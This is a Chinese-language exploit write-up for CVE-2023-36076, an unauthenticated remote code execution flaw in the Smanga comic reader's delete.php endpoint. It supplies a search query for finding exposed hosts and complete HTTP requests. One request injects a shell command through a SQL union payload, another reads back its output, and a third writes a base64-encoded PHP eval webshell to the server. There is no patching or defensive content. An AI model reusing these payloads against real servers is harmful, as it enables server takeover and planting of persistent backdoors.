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74 lines
3.2 KiB
Markdown
74 lines
3.2 KiB
Markdown
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# Smanga未授权远程代码执行漏洞(CVE-2023-36076)
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# 一、漏洞简介
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Smanga无需配置，docker直装的漫画流媒体阅读工具。以emby plex为灵感，为解决漫画阅读需求而开发的漫画阅读器。在/php/manga/delete.php接口处存在未授权远程代码执行漏洞，攻击者可在目标主机执行任意命令，获取服务器权限。
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# 二、影响版本
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+ Smanga
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# 三、资产测绘
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+ hunter`web.title=="smanga"`
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+ 特征
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# 四、漏洞复现
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```java
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POST /php/manga/delete.php HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
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If-None-Match: "63ff3602-c6d"
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If-Modified-Since: Wed, 01 Mar 2023 11:24:50 GMT
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 360
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mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";echo `whoami` > 1.txt;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true
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```
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获取命令执行结果
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```java
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GET /php/manga/1.txt HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
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Content-Length: 0
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```
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写入webshell
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```java
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POST /php/manga/delete.php HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
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If-None-Match: "63ff3602-c6d"
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If-Modified-Since: Wed, 01 Mar 2023 11:24:50 GMT
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 360
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mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";echo PD9waHAgY2xhc3MgR3c2UVBoNjYgeyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJEg4OTBhKXsgQGV2YWwoIi8qWjlZczlnSVY3MyovIi4kSDg5MGEuIi8qWjlZczlnSVY3MyovIik7IH19bmV3IEd3NlFQaDY2KCRfUkVRVUVTVFsneCddKTs/Pg== | base64 -d > 1.php;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true
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```
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webshell地址
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```java
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/php/manga/1.php
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```
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> 更新: 2024-02-29 23:55:42
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/fgwxzim62xadgc33>
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